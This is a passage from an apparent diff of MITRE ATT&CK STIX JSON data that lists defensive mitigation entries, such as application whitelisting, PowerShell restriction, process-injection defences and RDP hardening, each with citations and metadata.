2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--dd9a85ad-6a92-4986-a215-b01d0ce7b987", + "modified": "2019-07-25T11:23:51.821Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Plist Modification Mitigation", + "description": "Prevent plist files from being modified by users by making them read-only.", + "external_references": [ + { + "external_id": "T1150", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1150" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--2d704e56-e689-4011-b989-bf4e025a8727", + "modified": "2019-07-25T11:25:29.091Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Port Knocking Mitigation", + "description": "Mitigation of some variants of this technique could be achieved through the use of stateful firewalls, depending upon how it is implemented.", + "external_references": [ + { + "external_id": "T1205", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1205" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--f6b7c116-0821-4eb7-9b24-62bd09b3e575", + "modified": "2019-07-25T11:25:50.338Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Port Monitors Mitigation", + "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by processes running under SYSTEM permissions.", + "external_references": [ + { + "external_id": "T1013", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1013" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--1c6bc7f3-d517-4971-aed4-8f939090846b", + "modified": "2019-07-25T11:26:14.570Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "PowerShell Mitigation", + "description": "It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration. (Citation: Netspi PowerShell Execution Policy Bypass) Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.", + "external_references": [ + { + "external_id": "T1086", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1086" + }, + { + "source_name": "Netspi PowerShell Execution Policy Bypass", + "description": "Sutherland, S. (2014, September 9). 15 Ways to Bypass the PowerShell Execution Policy. Retrieved July 23, 2015.", + "url": "https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--d0415180-51e9-40ce-b57c-c332b0b441f2", + "modified": "2019-07-25T11:26:37.066Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Private Keys Mitigation", + "description": "Use strong passphrases for private keys to make cracking difficult. When possible, store keys on separate cryptographic hardware instead of on the local system. Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement. Follow other best practices for mitigating access through use of [Valid Accounts](https://attack.mitre.org/techniques/T1078).", + "external_references": [ + { + "external_id": "T1145", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1145" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--f27ef4f2-71fe-48b6-b7f4-02dcac14320e", + "modified": "2019-07-25T11:27:03.265Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Privileged Account Management", + "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", + "external_references": [ + { + "external_id": "M1026", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1026" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-06T21:09:47.115Z", + "id": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-06-06T21:09:47.115Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Privileged Process Integrity", + "description": "Protect processes with high privileges that can be used to interact with critical system components through use of protected process light, anti-process injection defenses, or other process integrity enforcement measures.", + "external_references": [ + { + "external_id": "M1025", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1025" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-06T21:08:58.465Z", + "id": "course-of-action--72dade3e-1cba-4182-b3b3-a77ca52f02a1", + "modified": "2019-06-06T21:08:58.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Process Discovery Mitigation", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1057", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1057" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--f6469191-1814-4dbe-a081-2a6daf83a10b", + "modified": "2019-07-25T11:27:30.259Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Process Doppelg\u00e4nging Mitigation", + "description": "This type of attack technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate process-loading mechanisms from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nAlthough Process Doppelg\u00e4nging may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1186", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1186" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--34d6a2ef-370e-4d21-a34b-6208b7c78f31", + "modified": "2019-07-25T11:27:53.526Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Process Hollowing Mitigation", + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. \n\nAlthough process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1093", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1093" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--7c39ebbf-244e-4d1c-b0ac-b282453ece43", + "modified": "2019-07-25T11:28:17.117Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Process Injection Mitigation", + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: GDSecurity Linux injection)\n\nIdentify or block potentially malicious software that may contain process injection functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nUtilize Yama (Citation: Linux kernel Yama) to mitigate ptrace based process injection by restricting the use of ptrace to privileged users only. Other mitigation controls involve the deployment of security kernel modules that provide advanced access control and process restrictions such as SELinux (Citation: SELinux official), grsecurity (Citation: grsecurity official), and AppArmor (Citation: AppArmor official).", + "external_references": [ + { + "external_id": "T1055", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1055" + }, + { + "source_name": "GDSecurity Linux injection", + "description": "McNamara, R. (2017, September 5). Linux Based Inter-Process Code Injection Without Ptrace(2). Retrieved December 20, 2017.", + "url": "https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + }, + { + "source_name": "Linux kernel Yama", + "description": "Linux Kernel Archives. (n.d.). Yama Documentation - ptrace_scope. Retrieved December 20, 2017.", + "url": "https://www.kernel.org/doc/Documentation/security/Yama.txt" + }, + { + "source_name": "SELinux official", + "description": "SELinux Project. (2017, November 30). SELinux Project Wiki. Retrieved December 20, 2017.", + "url": "https://selinuxproject.org/page/Main_Page" + }, + { + "source_name": "grsecurity official", + "description": "grsecurity. (2017, December 12). What is grsecurity?. Retrieved December 20, 2017.", + "url": "https://grsecurity.net/" + }, + { + "source_name": "AppArmor official", + "description": "AppArmor. (2017, October 19). AppArmor Security Project Wiki. Retrieved December 20, 2017.", + "url": "http://wiki.apparmor.net/index.php/Main_Page" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--74febc44-8955-4e4d-aca0-d4dad2f967d7", + "modified": "2019-07-25T11:28:40.438Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Query Registry Mitigation", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1012", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1012" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--0640214c-95af-4c04-a574-2a1ba6dda00b", + "modified": "2019-07-25T11:29:14.757Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Rc.common Mitigation", + "description": "Limit privileges of user accounts so only authorized users can edit the rc.common file.", + "external_references": [ + { + "external_id": "T1163", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1163" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--c3cf2312-3aab-4aaf-86e6-ab3505430482", + "modified": "2019-07-25T11:29:48.385Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Re-opened Applications Mitigation", + "description": "Holding the Shift key while logging in prevents apps from opening automatically (Citation: Re-Open windows on Mac). This feature can be disabled entirely with the following terminal command: defaults write -g ApplePersistence -bool no.", + "external_references": [ + { + "external_id": "T1164", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1164" + }, + { + "source_name": "Re-Open windows on Mac", + "description": "Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.", + "url": "https://support.apple.com/en-us/HT204005" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--61d02387-351a-453e-a575-160a9abc3e04", + "modified": "2019-07-25T11:30:18.799Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Redundant Access Mitigation", + "description": "Identify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "external_references": [ + { + "external_id": "T1108", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1108" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + }, + { + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--f9b3e5d9-7454-4b7d-bce6-27620e19924e", + "modified": "2019-07-25T11:31:04.192Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Registry Run Keys / Startup Folder Mitigation", + "description": "Identify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1060", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1060" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--8b36d944-f274-4d46-9acd-dbba6927ce7a", + "modified": "2019-07-25T11:31:34.241Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Regsvcs/Regasm Mitigation", + "description": "Regsvcs and Regasm may not be necessary within a given environment. Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuse by adversaries.", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1121", + "url": "https://attack.mitre.org/mitigations/T1121" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--a90da496-b460-47e8-92e7-cc36eb00bd9a", + "modified": "2019-07-25T11:31:59.090Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Regsvr32 Mitigation", + "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass whitelisting. (Citation: Secure Host Baseline EMET)", + "external_references": [ + { + "external_id": "T1117", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1117" + }, + { + "source_name": "Secure Host Baseline EMET", + "description": "National Security Agency. (2016, May 4). Secure Host Baseline EMET. Retrieved June 22, 2016.", + "url": "https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--12c13879-b7bd-4bc5-8def-aacec386d432", + "modified": "2019-07-25T11:32:22.755Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Remote Access Tools Mitigation", + "description": "Properly configure firewalls, application firewalls, and proxies to limit outgoing traffic to sites and services used by remote access tools.\n\nNetwork intrusion detection and prevention systems that use network signatures may be able to prevent traffic to these services as well.\n\nUse application whitelisting to mitigate use of and installation of unapproved software.", + "external_references": [ + { + "external_id": "T1219", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1219" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--af093bc8-7b59-4e2a-9da8-8e839b4c50c6", + "modified": "2019-07-25T11:32:44.821Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Remote Data Storage", + "description": "Use remote security log and sensitive file storage where access can be controlled better to prevent exposure of intrusion detection log data or sensitive information.", + "external_references": [ + { + "external_id": "M1029", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1029" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-06T21:21:13.027Z", + "id": "course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea", + "modified": "2019-06-06T21:21:13.027Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Remote Desktop Protocol Mitigation", + "description": "Disable the RDP service if it is unnecessary, remove unnecessary accounts and groups from Remote Desktop Users groups, and enable firewall rules to block RDP traffic between network security zones. Audit the Remote Desktop Users group membership regularly. Remove the local Administrators group from the list of groups allowed to log in through RDP. Limit remote user permissions if remote access is necessary. Use remote desktop gateways and multifactor authentication for remote logins. (Citation: Berkley Secure) Do not leave RDP accessible from the internet. Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server. (Citation: Windows RDP Sessions)", + "external_references": [ + { + "external_id": "T1076", + "source_name": "mitre-attack", + "url": 